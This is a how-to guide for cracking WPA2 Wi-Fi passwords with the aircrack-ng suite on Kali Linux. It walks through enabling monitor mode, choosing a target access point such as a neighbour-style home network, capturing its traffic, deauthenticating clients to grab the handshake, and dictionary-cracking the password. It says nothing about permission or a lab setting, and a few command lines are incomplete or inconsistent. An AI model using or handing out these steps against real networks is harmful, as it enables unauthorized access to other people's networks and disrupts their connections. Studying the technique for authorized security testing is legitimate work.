Aircrack-ng password cracking for WPA2

Equipment Needed:

1. Device to run Kali Linux
   a. i.e. A virtual machine or a raspberry pi
2. Compatible Wireless Card for Aircrack-ng
   a. https://www.alfa.com.tw/service_1/all/1.htm

Preparing Wireless Card (Part 1):

1. Type command "airmon-ng"
2. Look under the Interface column for the device name
   a. *Should be wlan0 or wlan1 (depending on device being used).*
3. Type command "airmon-ng check"
   a. *This shows if any processes are running that can interfere with the wireless card.*
4. Type command "airmon-ng check kill"
   a. *Kills all the processes that could interfere with the wireless card.*
5. Type command "airmon-ng start [interface name]"
   a. *Puts the card in monitor mode so it can read packets from multiple access points.*
6. Type command "airmon-ng"
   a. *Look for a new name under the Interface column.*
   b. *Should be original Interface name with "mon" added to the end.*
   c. *You NEED to use the new interface name for the next steps.*

Finding Access Points for Attacking (Part 2):

1. Type command "airodump-ng [interface name]"
2. Look for the device BSSID you want to crack along with the channel it is on and copy the BSSID
   a. *The BSSID column is the MAC address of the access point and the ESSID column is the actual name of the access point.*
   b. *An example of a BSSID is [00:19:3b:99:e2:80].*
   c. *An example of an ESSID is [JimandSarahWifi].*
   d. *Under the CH column should be the channel the access point is using, will range from 1-14. Make note of which channel the access point is using.*
3. Type command "airodump-ng -w [filename] -c [channel number] -bssid [bssid of AP] [interface name]"
   a. *The -w [filename] is putting the data captured into files that are named what you want.*
      i. **Note* They will be default put in the root directory unless you specify the directory.*
   b. *The -c [channel number] is the channel number the channel the access point is using.*

c. *The --bssid [bssid of AP] is specifying the bssid you wish to capture data from. It is best to copy and paste the bssid so no errors occur.*
d. *The [interface name] is the wireless cards name.*

Deauthentication (part 3):

Def - Used to initiate capture of WPA handshake

1. Type command "aireplay-ng -0 [number of deauthentication attempts] -a [bssid]
    a. *-0 is the type of attack aireplay-ng is using. [number of deauthentication attempts] is the number of times you will send a deauthentication packets to the access point. Usually people send around 10 packets.*

Cracking WPA2 (part 4):

1. Type command "aircrack-ng -w [wordlist.txt] [filename.cap]
    a. *-w is looking for a word list that can be used to crack the WPA2*
        i. *Multiple word list is avaible by default in kali linux under the /usr/share/wordlists.*
        ii. *If you want to make your own word list, I recommend checking out **Crunch**, it makes word list easy and fast with custom setting on the word list to speed up password making.*
    b. *[filename.cap] means you are looking for the *.cap file you named. There are multiple files created with airodump-ng but you only need the *.cap file for cracking WPA2.*